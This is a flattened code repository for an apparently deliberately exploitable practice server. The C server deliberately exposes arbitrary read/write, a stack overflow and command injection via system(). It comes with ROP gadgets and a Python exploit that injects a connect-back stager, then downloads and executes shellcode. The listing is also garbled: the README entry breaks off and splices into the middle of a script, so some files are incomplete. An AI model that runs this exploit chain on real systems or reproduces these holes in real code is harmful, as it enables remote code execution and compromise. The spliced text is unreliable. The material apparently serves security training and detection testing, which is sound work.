├── .github └── CODEOWNERS ├── LICENSE ├── Makefile ├── README.md ├── assets └── logo.png ├── examples ├── remote_code_execution.py ├── remote_command_execution.py └── trap_payload ├── requirements.txt └── src ├── application.c ├── gadgets.S ├── main.c └── protocol.h /.github/CODEOWNERS: -------------------------------------------------------------------------------- 1 | * @redcanaryco/team-community 2 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | 2 | The MIT License 3 | 4 | Copyright (c) 2020 Red Canary, Inc. 5 | 6 | Permission is hereby granted, free of charge, to any person obtaining a copy 7 | of this software and associated documentation files (the "Software"), to deal 8 | in the Software without restriction, including without limitation the rights 9 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 10 | copies of the Software, and to permit persons to whom the Software is 11 | furnished to do so, subject to the following conditions: 12 | 13 | The above copyright notice and this permission notice shall be included in 14 | all copies or substantial portions of the Software. 15 | 16 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 17 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 18 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 19 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 20 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 21 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN 22 | THE SOFTWARE. 23 | -------------------------------------------------------------------------------- /Makefile: -------------------------------------------------------------------------------- 1 | .SUFFIXES: 2 | 3 | LFLAGS = $(BITNESS) -Wl,--no-as-needed -Wl,-z,relro -Wl,-z,now -Wl,-z,noexecstack -fPIE -pie -ldl -lpthread 4 | CFLAGS = $(BITNESS) -fPIC -fPIE -ffunction-sections -fdata-sections -fstack-protector-all $(INCLUDES) 5 | 6 | OBJDIR := $(realpath .)/build/_X86_64 7 | 8 | PAYLOAD ?= ./examples/trap_payload 9 | 10 | VENV=./.venv 11 | IN_VENV=. $(VENV)/bin/activate; 12 | 13 | SRCS ?= src/main.c src/application.c src/gadgets.S 14 | OBJS := $(addprefix $(OBJDIR)/, $(addsuffix .o,$(basename $(SRCS)))) 15 | OBJS := $(subst src/,,$(OBJS)) 16 | BINS := epp 17 | 18 | $(OBJDIR): 19 | mkdir -p $(OBJDIR) 20 | 21 | epp: $(OBJS) 22 | $(CC) $(LFLAGS) $(OBJS) -o $(OBJDIR)/$@ 23 | strip -s $(OBJDIR)/$@ 24 | 25 | $(OBJDIR)/%.o: src/%.S 26 | $(CC) $(CFLAGS) -c $< -o $@ 27 | 28 | $(OBJDIR)/%.o: src/%.c 29 | $(CC) $(CFLAGS) -c $< -o $@ 30 | 31 | all: $(OBJDIR) $(BINS) 32 | @: 33 | 34 | clean: 35 | rm -rvf build/* 36 | 37 | realclean: clean 38 | -rm -rf $(VENV) 39 | 40 | test_epp: all 41 | build/_X86_64/epp 127.0.0.1 8080 42 | 43 | test_remote_code_execution: all $(VENV)/bin/activate 44 | $(IN_VENV) examples/remote_code_execution.py 127.0.0.1 8080 "$(PAYLOAD)" 45 | 46 | test_remote_command_execution: all $(VENV)/bin/activate 47 | $(IN_VENV) examples/remote_command_execution.py 127.0.0.1 8080 "$(PAYLOAD)" 48 | 49 | $(VENV)/bin/activate: requirements.txt 50 | test -d $(VENV) || python3 -m venv --prompt attack $(VENV) 51 | ( \ 52 | $(IN_VENV) \ 53 | pip install --upgrade pip; \ 54 | pip install -Ur requirements.txt; \ 55 | ) 56 | touch $@ 57 | 58 | .DEFAULT_GOAL := all 59 | .PHONY: all clean realclean test_remote_command_execution test_remote_code_execution test_epp epp 60 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 |
0:\xFF\ts2=s.recv({2}-len(s2))\xFFs.shutdown(so.SHUT_RDWR) 68 | s.close() 69 | exec(s2) 70 | ''' 71 | return python_initial_stager.format(address, port, payload_size).replace('\n', ';').replace('"', '\\"').replace('\xFF', '\\n') 72 | 73 | 74 | python_shellcode_stager = '''from mmap import * 75 | from ctypes import * 76 | sc={0} 77 | m=mmap(-1,len(sc),MAP_PRIVATE|MAP_ANONYMOUS,PROT_WRITE|PROT_READ|PROT_EXEC) 78 | m.write(sc) 79 | cast(addressof(c_char.from_buffer(m)),CFUNCTYPE(c_void_p))() 80 | ''' 81 | 82 | if __name__ == "__main__": 83 | s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 84 | s.connect((sys.argv[1], int(sys.argv[2]))) 85 | 86 | listener = listen(CALLBACK_PORT) 87 | target_ip = socket.gethostbyname(socket.gethostname()) 88 | 89 | def signal_handler(sig, frame): 90 | s.shutdown(socket.SHUT_RDWR) 91 | s.close() 92 | sys.exit(0) 93 | 94 | signal.signal(signal.SIGINT, signal_handler) 95 | 96 | payload = open(sys.argv[3], 'rb').read() 97 | payload = python_shellcode_stager.format(payload) 98 | 99 | s.send(create_command_inject(create_initial_stager( 100 | target_ip, CALLBACK_PORT, len(payload)))) 101 | 102 | logging.info("Waiting for stager") 103 | 104 | listener.wait_for_connection() 105 | logging.info("Stager connected") 106 | 107 | input("Press Enter to send your payload!") 108 | listener.send(payload) 109 | 110 | listener.close() 111 | -------------------------------------------------------------------------------- /examples/trap_payload: -------------------------------------------------------------------------------- 1 | � -------------------------------------------------------------------------------- /requirements.txt: -------------------------------------------------------------------------------- 1 | pwntools 2 | pygments>=2.7.4 # not directly required, pinned by Snyk to avoid a vulnerability -------------------------------------------------------------------------------- /src/application.c: -------------------------------------------------------------------------------- 1 | /* 2 | 3 | The MIT License 4 | 5 | Copyright (c) 2020 Red Canary, Inc. 6 | 7 | Permission is hereby granted, free of charge, to any person obtaining a copy 8 | of this software and associated documentation files (the "Software"), to deal 9 | in the Software without restriction, including without limitation the rights 10 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 11 | copies of the Software, and to permit persons to whom the Software is 12 | furnished to do so, subject to the following conditions: 13 | 14 | The above copyright notice and this permission notice shall be included in 15 | all copies or substantial portions of the Software. 16 | 17 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 18 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 19 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 20 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 21 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 22 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN 23 | THE SOFTWARE. 24 | 25 | */ 26 | #include27 | #include 28 | #include 29 | #include 30 | #include 31 | #include 32 | #include 33 | #include 34 | #include 35 | #include 36 | #include 37 | #include 38 | 39 | #include "protocol.h" 40 | 41 | #define MEGABYTES(C) (1024 * 1024 * C) 42 | 43 | static int write_all(int fd, void* address, size_t cb) 44 | { 45 | pbyte_t iterator = address; 46 | ssize_t cb_remaining = cb; 47 | 48 | while (cb_remaining) { 49 | ssize_t bytes_read = write(fd, iterator, cb_remaining); 50 | if (0 == bytes_read) { 51 | return 0; 52 | } else if (-1 == bytes_read) { 53 | printf("write failed: %d\n", errno); 54 | return -1; 55 | } else { 56 | cb_remaining -= bytes_read; 57 | iterator += bytes_read; 58 | } 59 | } 60 | 61 | return 0; 62 | } 63 | 64 | static int command_inject(int client_fd, pcommand_inject_t request) 65 | { 66 | printf("command_inject (%s)\n", request->command); 67 | return system(request->command); 68 | } 69 | 70 | static int stack_out_of_bounds(int client_fd, pout_of_bounds_t request) 71 | { 72 | int result = -1; 73 | // This forces most compilers to put the array on the stack (instead of in .data), pending some threshold. 74 | char stack_marker[] = { 'b', 'u', 'f', 'f', 'e', 'r', '_', 'o', 'v', 'e', 'r', 'f', 'l', 'o', 'w', 0 }; 75 | 76 | printf("stack_oob: %p read=%s, overflow=%s, %zu\n", 77 | stack_marker, 78 | request->read ? "TRUE" : "FALSE", 79 | request->overflow ? "TRUE" : "FALSE", 80 | request->size); 81 | 82 | pbyte_t target = stack_marker; 83 | // If it's an underflow, offset the target by size 84 | if (!request->overflow) { 85 | target -= request->size; 86 | } 87 | 88 | if (request->read) { 89 | result = write_all(client_fd, target, request->size); 90 | } else { 91 | memcpy(target, request->data, request->size); 92 | result = 0; 93 | } 94 | 95 | printf("stack_marker: %.15s\n", stack_marker); 96 | return result; 97 | } 98 | 99 | static int arbitrary_read(int client_fd, parbitrary_read_t request) 100 | { 101 | printf("reading from %p:%zd\n", request->address, request->size); 102 | return write_all(client_fd, request->address, request->size); 103 | } 104 | 105 | static int arbitrary_write(int client_fd, parbitrary_write_t request) 106 | { 107 | printf("writing to %p:%zd\n", request->address, request->size); 108 | memcpy(request->address, request->data, request->size); 109 | return 0; 110 | } 111 | 112 | static int handle_request(int client_fd, prequest_t request) 113 | { 114 | int result = -1; 115 | // This forces most compilers to put the array on the stack (instead of in .data), pending some threshold. 116 | char stack_marker[] = { 'h', 'a', 'n', 'd', 'l', 'e', '_', 'r', 'e', 'q', 'u', 'e', 's', 't', 0 }; 117 | 118 | switch (request->type) { 119 | case ARBITRARY_READ: 120 | result = arbitrary_read(client_fd, &request->u.a_read); 121 | break; 122 | case ARBITRARY_WRITE: 123 | result = arbitrary_write(client_fd, &request->u.a_write); 124 | break; 125 | case STACK_OUT_OF_BOUNDS: 126 | result = stack_out_of_bounds(client_fd, &request->u.oob); 127 | break; 128 | case COMMAND_INJECT: 129 | result = command_inject(client_fd, &request->u.command); 130 | break; 131 | } 132 | 133 | printf("stack_marker: %.14s\n", stack_marker); 134 | return result; 135 | } 136 | 137 | void* handle_client(void* fd) 138 | { 139 | int serving = 1; 140 | ssize_t bytes_read = 0; 141 | int socket_flags = 0; 142 | int64_t client_fd = (int64_t)fd; 143 | if (-1 == (socket_flags = fcntl((int)client_fd, F_GETFL, 0))) { 144 | printf("fcntl(F_GETFL) failed: %d\n", errno); 145 | return NULL; 146 | } 147 | 148 | if (-1 == fcntl((int)client_fd, F_SETFL, socket_flags | O_NONBLOCK)) { 149 | printf("fcntl(F_SETFL) failed: %d\n", errno); 150 | return NULL; 151 | } 152 | 153 | while (serving) { 154 | request_t request = {0}; 155 | 156 | bytes_read = read((int)client_fd, (void*)&request, sizeof(request)); 157 | 158 | switch (bytes_read) { 159 | case sizeof(request): { 160 | void* full_request = (void*)&request; 161 | // Read the rest of the request. 162 | if (request.cb != bytes_read) { 163 | if (request.cb >= MEGABYTES(64)) { 164 | printf("request too large, terminating client\n"); 165 | serving = 0; 166 | break; 167 | } 168 | 169 | full_request = malloc(request.cb); 170 | if (!full_request) { 171 | printf("malloc failed: %d\n", errno); 172 | serving = 0; 173 | break; 174 | } 175 | 176 | ssize_t cb_remaining = request.cb - bytes_read; 177 | pbyte_t iterator = (pbyte_t)full_request; 178 | // Copy over the existing request. 179 | memcpy(iterator, (void*)&request, bytes_read); 180 | 181 | iterator += bytes_read; 182 | 183 | while (cb_remaining) { 184 | bytes_read = read((int)client_fd, iterator, cb_remaining); 185 | if (0 == bytes_read) { 186 | serving = 0; 187 | break; 188 | } 189 | iterator += bytes_read; 190 | cb_remaining -= bytes_read; 191 | } 192 | } 193 | 194 | if (serving && -1 == handle_request((int)client_fd, (prequest_t)full_request)) { 195 | printf("handle_request failed\n"); 196 | serving = 0; 197 | } 198 | 199 | if (full_request != &request) { 200 | free(full_request); 201 | } 202 | break; 203 | } 204 | default: 205 | if (EAGAIN == errno || EWOULDBLOCK == errno) { 206 | usleep(100); 207 | continue; 208 | } 209 | 210 | printf("read failed: %zd -> %d\n", bytes_read, errno); 211 | case 0: { 212 | serving = 0; 213 | break; 214 | } 215 | } 216 | } 217 | 218 | shutdown((int)client_fd, SHUT_RDWR); 219 | close((int)client_fd); 220 | return NULL; 221 | } -------------------------------------------------------------------------------- /src/gadgets.S: -------------------------------------------------------------------------------- 1 | /* 2 | 3 | The MIT License 4 | 5 | Copyright (c) 2020 Red Canary, Inc. 6 | 7 | Permission is hereby granted, free of charge, to any person obtaining a copy 8 | of this software and associated documentation files (the "Software"), to deal 9 | in the Software without restriction, including without limitation the rights 10 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 11 | copies of the Software, and to permit persons to whom the Software is 12 | furnished to do so, subject to the following conditions: 13 | 14 | The above copyright notice and this permission notice shall be included in 15 | all copies or substantial portions of the Software. 16 | 17 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 18 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 19 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 20 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 21 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 22 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN 23 | THE SOFTWARE. 24 | 25 | */ 26 | 27 | // A real program would have more code that would yield many gadgets, 28 | // so we are just gonna create some here for our example. 29 | 30 | .intel_syntax noprefix 31 | .text 32 | 33 | .globl __x64_syscall 34 | .code64 35 | 36 | rop_pop_rax: 37 | pop rax 38 | ret 39 | 40 | rop_pop_rdi: 41 | pop rdi 42 | ret 43 | 44 | rop_pop_rdx: 45 | pop rdx 46 | ret 47 | 48 | rop_pop_rcx: 49 | pop rcx 50 | ret 51 | 52 | rop_pop_r8: 53 | pop r8 54 | ret 55 | 56 | rop_pop_r9: 57 | pop r9 58 | ret -------------------------------------------------------------------------------- /src/main.c: -------------------------------------------------------------------------------- 1 | /* 2 | 3 | The MIT License 4 | 5 | Copyright (c) 2020 Red Canary, Inc. 6 | 7 | Permission is hereby granted, free of charge, to any person obtaining a copy 8 | of this software and associated documentation files (the "Software"), to deal 9 | in the Software without restriction, including without limitation the rights 10 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 11 | copies of the Software, and to permit persons to whom the Software is 12 | furnished to do so, subject to the following conditions: 13 | 14 | The above copyright notice and this permission notice shall be included in 15 | all copies or substantial portions of the Software. 16 | 17 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 18 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 19 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 20 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 21 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 22 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN 23 | THE SOFTWARE. 24 | 25 | */ 26 | #include 27 | #include 28 | #include 29 | #include 30 | #include 31 | #include 32 | #include 33 | #include 34 | #include 35 | #include 36 | #include 37 | #include 38 | #include 39 | 40 | #include "protocol.h" 41 | 42 | volatile int g_listen_fd = -1; 43 | 44 | extern void* rop_pop_rax; 45 | extern void* rop_pop_rdi; 46 | extern void* rop_pop_rdx; 47 | extern void* rop_pop_rcx; 48 | extern void* rop_pop_r8; 49 | extern void* rop_pop_r9; 50 | 51 | void signal_handler(int signum) { 52 | switch (signum) { 53 | case SIGABRT: 54 | case SIGFPE: 55 | case SIGILL: 56 | case SIGINT: 57 | case SIGSEGV: 58 | case SIGTERM: 59 | case SIGBUS: 60 | case SIGPIPE: 61 | printf("signal: %d, exiting\n", signum); 62 | close(g_listen_fd); 63 | g_listen_fd = -1; 64 | exit(1); 65 | break; 66 | } 67 | } 68 | 69 | extern void* handle_client(void* client_fd); 70 | 71 | int main(int argc, char** argv) 72 | { 73 | if (argc != 3) { 74 | printf("USAGE: epp LHOST LPORT\n"); 75 | return 1; 76 | } 77 | 78 | pthread_attr_t thread_attr = {0}; 79 | struct sockaddr_in listen_addr = {0}; 80 | char* listen_address = argv[1]; 81 | int listen_port = atoi(argv[2]); 82 | 83 | signal(SIGABRT, signal_handler); 84 | signal(SIGFPE, signal_handler); 85 | signal(SIGILL, signal_handler); 86 | signal(SIGINT, signal_handler); 87 | signal(SIGSEGV, signal_handler); 88 | signal(SIGTERM, signal_handler); 89 | signal(SIGBUS, signal_handler); 90 | signal(SIGPIPE, signal_handler); 91 | 92 | listen_addr.sin_family = AF_INET; 93 | listen_addr.sin_port = htons(listen_port); 94 | 95 | if (-1 == inet_pton(AF_INET, listen_address, (void*)&listen_addr.sin_addr)) { 96 | printf("inet_pton failed: %d\n", errno); 97 | return 1; 98 | } 99 | 100 | g_listen_fd = socket(AF_INET, SOCK_STREAM, 0); 101 | if (-1 == g_listen_fd) { 102 | printf("socket failed: %d\n", errno); 103 | return 1; 104 | } 105 | 106 | if (-1 == bind(g_listen_fd, (struct sockaddr *)&listen_addr, sizeof(listen_addr))) { 107 | printf("bind failed: %d\n", errno); 108 | return 1; 109 | } 110 | 111 | if (-1 == listen(g_listen_fd, 5)) { 112 | printf("listen failed: %d\n", errno); 113 | return 1; 114 | } 115 | 116 | if (-1 == pthread_attr_init(&thread_attr)) { 117 | printf("pthread_attr_init failed: %d\n", errno); 118 | return 1; 119 | } 120 | 121 | if (-1 == pthread_attr_setdetachstate(&thread_attr, PTHREAD_CREATE_DETACHED)) { 122 | printf("pthread_attr_setdetachstate failed: %d\n", errno); 123 | return 1; 124 | } 125 | 126 | printf("Waiting for clients: %p\n", listen); 127 | 128 | while (1) { 129 | pthread_t thread = {0}; 130 | struct sockaddr_in client_addr = {0}; 131 | socklen_t client_addr_len = sizeof(client_addr); 132 | 133 | int64_t client_fd = (int64_t)accept(g_listen_fd, (struct sockaddr *)&client_addr, &client_addr_len); 134 | if (-1 == client_fd) { 135 | printf("accept failed: %d\n", errno); 136 | continue; 137 | } 138 | 139 | if (0 != pthread_create(&thread, &thread_attr, handle_client, (void*)client_fd)) { 140 | printf("pthread_create failed: %d\n", errno); 141 | continue; 142 | } 143 | } 144 | 145 | return 0; 146 | } 147 | -------------------------------------------------------------------------------- /src/protocol.h: -------------------------------------------------------------------------------- 1 | /* 2 | 3 | The MIT License 4 | 5 | Copyright (c) 2020 Red Canary, Inc. 6 | 7 | Permission is hereby granted, free of charge, to any person obtaining a copy 8 | of this software and associated documentation files (the "Software"), to deal 9 | in the Software without restriction, including without limitation the rights 10 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 11 | copies of the Software, and to permit persons to whom the Software is 12 | furnished to do so, subject to the following conditions: 13 | 14 | The above copyright notice and this permission notice shall be included in 15 | all copies or substantial portions of the Software. 16 | 17 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 18 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 19 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 20 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 21 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 22 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN 23 | THE SOFTWARE. 24 | 25 | */ 26 | #pragma once 27 | 28 | #define TRUE (1) 29 | #define FALSE (0) 30 | 31 | typedef unsigned char bool_t; 32 | typedef unsigned char byte_t; 33 | typedef unsigned char* pbyte_t; 34 | 35 | #pragma pack(1) 36 | 37 | typedef enum { 38 | ARBITRARY_READ = 1, 39 | ARBITRARY_WRITE, 40 | STACK_OUT_OF_BOUNDS, 41 | COMMAND_INJECT, 42 | // None of the following are implemented, but can be! 43 | HEAP_OUT_OF_BOUNDS, 44 | GROOM_HEAP, 45 | USE_AFTER_FREE, 46 | DOUBLE_FREE, 47 | RACE_CONDITION, 48 | WRITE_WHAT_RELATIVE, 49 | READ_WHAT_RELATIVE, 50 | FORMAT_STRING_INJECTION, 51 | } request_type_t; 52 | 53 | typedef struct { 54 | void* address; 55 | size_t size; 56 | byte_t data[0]; 57 | } arbitrary_read_t, *parbitrary_read_t, arbitrary_write_t, *parbitrary_write_t; 58 | 59 | typedef struct { 60 | // 0 if write, read otherwise 61 | bool_t read; 62 | // 0 if underflow, overflow otherwise 63 | bool_t overflow; 64 | // How much to read or write. 65 | size_t size; 66 | // Optional write buffer. 67 | byte_t data[0]; 68 | } out_of_bounds_t, *pout_of_bounds_t; 69 | 70 | typedef struct { 71 | char command[0]; 72 | } command_inject_t, *pcommand_inject_t; 73 | 74 | typedef struct { 75 | size_t cb; 76 | request_type_t type; 77 | union { 78 | arbitrary_read_t a_read; 79 | arbitrary_write_t a_write; 80 | out_of_bounds_t oob; 81 | command_inject_t command; 82 | } u; 83 | } request_t, *prequest_t; --------------------------------------------------------------------------------